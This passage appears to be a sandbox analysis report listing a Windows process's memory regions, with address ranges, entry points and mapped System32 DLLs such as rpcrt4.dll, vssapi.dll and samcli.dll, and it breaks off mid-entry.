Region: id = 7149 start_va = 0x7fefcc30000 end_va = 0x7fefcc39fff monitored = 0 entry_point = 0x7fefcc33b40 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 7150 start_va = 0x7fefcc40000 end_va = 0x7fefcc49fff monitored = 0 entry_point = 0x7fefcc43cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 7151 start_va = 0x7fefcd70000 end_va = 0x7fefcdb6fff monitored = 0 entry_point = 0x7fefcd71064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 7152 start_va = 0x7fefce60000 end_va = 0x7fefce8ffff monitored = 0 entry_point = 0x7fefce6194c region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 7153 start_va = 0x7fefd000000 end_va = 0x7fefd006fff monitored = 0 entry_point = 0x7fefd00142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 7154 start_va = 0x7fefd010000 end_va = 0x7fefd064fff monitored = 0 entry_point = 0x7fefd011054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 7155 start_va = 0x7fefd070000 end_va = 0x7fefd087fff monitored = 0 entry_point = 0x7fefd073b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 7156 start_va = 0x7fefd180000 end_va = 0x7fefd1b1fff monitored = 0 entry_point = 0x7fefd18144c region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 7157 start_va = 0x7fefd240000 end_va = 0x7fefd26efff monitored = 0 entry_point = 0x7fefd241064 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 7158 start_va = 0x7fefd280000 end_va = 0x7fefd2ecfff monitored = 0 entry_point = 0x7fefd281010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 7159 start_va = 0x7fefd550000 end_va = 0x7fefd572fff monitored = 0 entry_point = 0x7fefd551198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 7160 start_va = 0x7fefd5f0000 end_va = 0x7fefd5fafff monitored = 0 entry_point = 0x7fefd5f1030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 7161 start_va = 0x7fefd620000 end_va = 0x7fefd644fff monitored = 0 entry_point = 0x7fefd629658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 7162 start_va = 0x7fefd650000 end_va = 0x7fefd68cfff monitored = 0 entry_point = 0x7fefd6518f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 7163 start_va = 0x7fefd690000 end_va = 0x7fefd69efff monitored = 0 entry_point = 0x7fefd691010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 7164 start_va = 0x7fefd6a0000 end_va = 0x7fefd730fff monitored = 0 entry_point = 0x7fefd6a1440 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 7165 start_va = 0x7fefd740000 end_va = 0x7fefd753fff monitored = 0 entry_point = 0x7fefd7410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 7166 start_va = 0x7fefd760000 end_va = 0x7fefd76efff monitored = 0 entry_point = 0x7fefd7619b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 7167 start_va = 0x7fefd800000 end_va = 0x7fefd80efff monitored = 0 entry_point = 0x7fefd801020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 7168 start_va = 0x7fefd810000 end_va = 0x7fefd87bfff monitored = 0 entry_point = 0x7fefd812780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7169 start_va = 0x7fefd920000 end_va = 0x7fefd95afff monitored = 0 entry_point = 0x7fefd921324 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 7170 start_va = 0x7fefd960000 end_va = 0x7fefd995fff monitored = 0 entry_point = 0x7fefd961474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 7171 start_va = 0x7fefd9a0000 end_va = 0x7fefdb0cfff monitored = 0 entry_point = 0x7fefd9a10b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 7172 start_va = 0x7fefdb10000 end_va = 0x7fefdb29fff monitored = 0 entry_point = 0x7fefdb11558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 7173 start_va = 0x7fefdb30000 end_va = 0x7fefdbcefff monitored = 0 entry_point = 0x7fefdb325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7174 start_va = 0x7fefdc50000 end_va = 0x7fefdca1fff monitored = 0 entry_point = 0x7fefdc510d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 7175 start_va = 0x7fefdcb0000 end_va = 0x7fefdcddfff monitored = 0 entry_point = 0x7fefdcb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7176 start_va = 0x7fefdce0000 end_va = 0x7fefdd46fff monitored = 0 entry_point = 0x7fefdceb03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7177 start_va = 0x7fefdef0000 end_va = 0x7fefdf60fff monitored = 0 entry_point = 0x7fefdf01e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7178 start_va = 0x7fefdf70000 end_va = 0x7fefe046fff monitored = 0 entry_point = 0x7fefdf73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 7179 start_va = 0x7fefe050000 end_va = 0x7fefe057fff monitored = 0 entry_point = 0x7fefe051504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 7180 start_va = 0x7fefe060000 end_va = 0x7fefe262fff monitored = 0 entry_point = 0x7fefe083330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 7181 start_va = 0x7fefe3a0000 end_va = 0x7fefe4ccfff monitored = 0 entry_point = 0x7fefe3eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7182 start_va = 0x7fefe4d0000 end_va = 0x7fefe5aafff monitored = 0 entry_point = 0x7fefe4f0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7183 start_va = 0x7fefe5b0000 end_va = 0x7feff337fff monitored = 0 entry_point = 0x7fefe62cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 7184 start_va = 0x7feff340000 end_va = 0x7feff408fff monitored = 0 entry_point = 0x7feff3ba874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 7185 start_va = 0x7feff410000 end_va = 0x7feff518fff monitored = 0 entry_point = 0x7feff411064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 7186 start_va = 0x7feff780000 end_va = 0x7feff956fff monitored = 0 entry_point = 0x7feff781010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 7187 start_va = 0x7feff960000 end_va = 0x7feff9acfff monitored = 0 entry_point = 0x7feff961070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 7188 start_va = 0x7feff9b0000 end_va = 0x7feffa48fff monitored = 0 entry_point = 0x7feff9b1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 7189 start_va = 0x7feffa50000 end_va = 0x7feffa6efff monitored = 0 entry_point = 0x7feffa560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7190 start_va = 0x7feffa70000 end_va = 0x7feffa7dfff monitored = 0 entry_point = 0x7feffa71080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 7191 start_va = 0x7feffb30000 end_va = 0x7feffb30fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 7192 start_va = 0x7fffff94000 end_va = 0x7fffff95fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 7193 start_va = 0x7fffff96000 end_va = 0x7fffff97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 7194 start_va = 0x7fffff98000 end_va = 0x7fffff99fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 7195 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 7196 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 7197 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 7198 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 7199 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 7200 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 7201 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 7202 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 7203 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 7204 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 7205 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 7206 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 7207 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 7208 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 7209 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 7210 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 7211 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 7212 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 7213 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 7236 start_va = 0x9d0000 end_va = 0x9dffff monitored = 0 entry_point = 0x9d3e64 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 7237 start_va = 0x9e0000 end_va = 0x9e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 7238 start_va = 0x9d0000 end_va = 0x9dffff monitored = 0 entry_point = 0x9d3e64 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 7239 start_va = 0x9e0000 end_va = 0x9e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 7267 start_va = 0x7fef8590000 end_va = 0x7fef867dfff monitored = 0 entry_point = 0x7fef85912a0 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 7610 start_va = 0x1dc0000 end_va = 0x1e3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001dc0000" filename = "" Region: id = 7611 start_va = 0x7fef7b30000 end_va = 0x7fef7b69fff monitored = 0 entry_point = 0x7fef7b4d020 region_type = mapped_file name = "wmisvc.dll" filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll") Region: id = 7612 start_va = 0x7fffff92000 end_va = 0x7fffff93fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 7613 start_va = 0x7fef7ab0000 end_va = 0x7fef7b26fff monitored = 0 entry_point = 0x7fef7aee7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 7614 start_va = 0x7fefd1c0000 end_va = 0x7fefd1e1fff monitored = 0 entry_point = 0x7fefd1c5d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 7633 start_va = 0x1d40000 end_va = 0x1dbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d40000" filename = "" Region: id = 7634 start_va = 0x7fefb870000 end_va = 0x7fefb901fff monitored = 0 entry_point = 0x7fefb8e51ec region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 7635 start_va = 0x7fffff90000 end_va = 0x7fffff91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 7636 start_va = 0x7fefb210000 end_va = 0x7fefb21afff monitored = 0 entry_point = 0x7fefb211198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 7637 start_va = 0x7fefc930000 end_va = 0x7fefc9eafff monitored = 0 entry_point = 0x7fefc936de0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 7638 start_va = 0x7fefb220000 end_va = 0x7fefb246fff monitored = 0 entry_point = 0x7fefb2298bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 7639 start_va = 0x7fefb0b0000 end_va = 0x7fefb102fff monitored = 0 entry_point = 0x7fefb0b2b98 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 7640 start_va = 0x7fefb850000 end_va = 0x7fefb860fff monitored = 0 entry_point = 0x7fefb8514c0 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 7641 start_va = 0x7fef7a60000 end_va = 0x7fef7aa1fff monitored = 0 entry_point = 0x7fef7a617e4 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll") Region: id = 7642 start_va = 0x7fef7a10000 end_va = 0x7fef7a56fff monitored = 0 entry_point = 0x7fef7a11040 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 7643 start_va = 0x1e40000 end_va = 0x1f6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e40000" filename = "" Region: id = 7644 start_va = 0x1f70000 end_va = 0x203ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f70000" filename = "" Region: id = 7645 start_va = 0x2040000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002040000" filename = "" Region: id = 7700 start_va = 0x1f80000 end_va = 0x1ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 7701 start_va = 0x2030000 end_va = 0x203ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002030000" filename = "" Region: id = 7702 start_va = 0x20e0000 end_va = 0x215ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020e0000" filename = "" Region: id = 7703 start_va = 0x2180000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002180000" filename = "" Region: id = 7704 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 7705 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 7706 start_va = 0x1d20000 end_va = 0x1d9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d20000" filename = "" Region: id = 7707 start_va = 0x2280000 end_va = 0x22fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 7708 start_va = 0x7fffff8a000 end_va = 0x7fffff8bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8a000" filename = "" Region: id = 7709 start_va = 0x7fffff90000 end_va = 0x7fffff91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 7710 start_va = 0x2300000 end_va = 0x252ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 7711 start_va = 0x2300000 end_va = 0x23fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 7712 start_va = 0x24b0000 end_va = 0x252ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024b0000" filename = "" Region: id = 7713 start_va = 0x2530000 end_va = 0x262ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002530000" filename = "" Region: id = 7714 start_va = 0x2630000 end_va = 0x27dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002630000" filename = "" Region: id = 7715 start_va = 0x7fef78e0000 end_va = 0x7fef791cfff monitored = 0 entry_point = 0x7fef78e1070 region_type = mapped_file name = "srvsvc.dll" filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll") Region: id = 7716 start_va = 0x7fef78b0000 end_va = 0x7fef78d4fff monitored = 0 entry_point = 0x7fef78c8c54 region_type = mapped_file name = "browser.dll" filename = "\\Windows\\System32\\browser.dll" (normalized: "c:\\windows\\system32\\browser.dll") Region: id = 7717 start_va = 0x2670000 end_va = 0x26effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002670000" filename = "" Region: id = 7718 start_va = 0x2760000 end_va = 0x27dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002760000" filename = "" Region: id = 7719 start_va = 0x7fffff88000 end_va = 0x7fffff89fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff88000" filename = "" Region: id = 7720 start_va = 0x7fef7820000 end_va = 0x7fef78a3fff monitored = 0 entry_point = 0x7fef7871118 region_type = mapped_file name = "netcfgx.dll" filename = "\\Windows\\System32\\netcfgx.dll" (normalized: "c:\\windows\\system32\\netcfgx.dll") Region: id = 7721 start_va = 0x27e0000 end_va = 0x29bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027e0000" filename = "" Region: id = 7722 start_va = 0x27e0000 end_va = 0x28dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027e0000" filename = "" Region: id = 7723 start_va = 0x29b0000 end_va = 0x29bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 7724 start_va = 0x75510000 end_va = 0x75511fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netmsg.dll" filename = "\\Windows\\System32\\netmsg.dll" (normalized: "c:\\windows\\system32\\netmsg.dll") Region: id = 7725 start_va = 0xdf0000 end_va = 0xe1ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netmsg.dll.mui" filename = "\\Windows\\System32\\en-US\\netmsg.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netmsg.dll.mui") Region: id = 7726 start_va = 0x2920000 end_va = 0x299ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002920000" filename = "" Region: id = 7727 start_va = 0x7fffff86000 end_va = 0x7fffff87fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff86000" filename = "" Region: id = 7728 start_va = 0x29c0000 end_va = 0x2b2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000029c0000" filename = "" Region: id = 7729 start_va = 0x7fefcb30000 end_va = 0x7fefcb41fff monitored = 0 entry_point = 0x7fefcb31060 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 7730 start_va = 0x29c0000 end_va = 0x2abffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000029c0000" filename = "" Region: id = 7731 start_va = 0x2b20000 end_va = 0x2b2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b20000" filename = "" Region: id = 7733 start_va = 0x7fef76b0000 end_va = 0x7fef76c9fff monitored = 0 entry_point = 0x7fef76c3fbc region_type = mapped_file name = "nci.dll" filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll") Region: id = 7734 start_va = 0x2bf0000 end_va = 0x2c6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bf0000" filename = "" Region: id = 7735 start_va = 0x7fefa610000 end_va = 0x7fefa7bffff monitored = 0 entry_point = 0x7fefa611010 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 7736 start_va = 0x7fffff84000 end_va = 0x7fffff85fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff84000" filename = "" Region: id = 7737 start_va = 0x7fefb080000 end_va = 0x7fefb096fff monitored = 0 entry_point = 0x7fefb081060 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 7738 start_va = 0x9d0000 end_va = 0x9d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vsstrace.dll.mui" filename = "\\Windows\\System32\\en-US\\vsstrace.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vsstrace.dll.mui") Region: id = 7739 start_va = 0x7fefb960000 end_va = 0x7fefb973fff monitored = 0 entry_point = 0x7fefb9616b4 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 7748 start_va = 0x9e0000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 7749 start_va = 0x2900000 end_va = 0x297ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 7750 start_va = 0x9e0000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 7751 start_va = 0x9e0000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 7752 start_va = 0x9e0000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 7753 start_va = 0x9e0000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 7754 start_va = 0x9e0000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 7755 start_va = 0x9e0000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 7756 start_va = 0x9e0000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 7757 start_va = 0x9e0000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 7758 start_va = 0x9e0000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 7759 start_va = 0x9e0000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 7760 start_va = 0x9e0000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 7761 start_va = 0x9e0000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 7762 start_va = 0x9e0000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 7763 start_va = 0x9e0000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 7764 start_va = 0x9e0000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 7765 start_va = 0x9e0000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 7766 start_va = 0x7fef76a0000 end_va = 0x7fef76a7fff monitored = 0 entry_point = 0x7fef76a1020 region_type = mapped_file name = 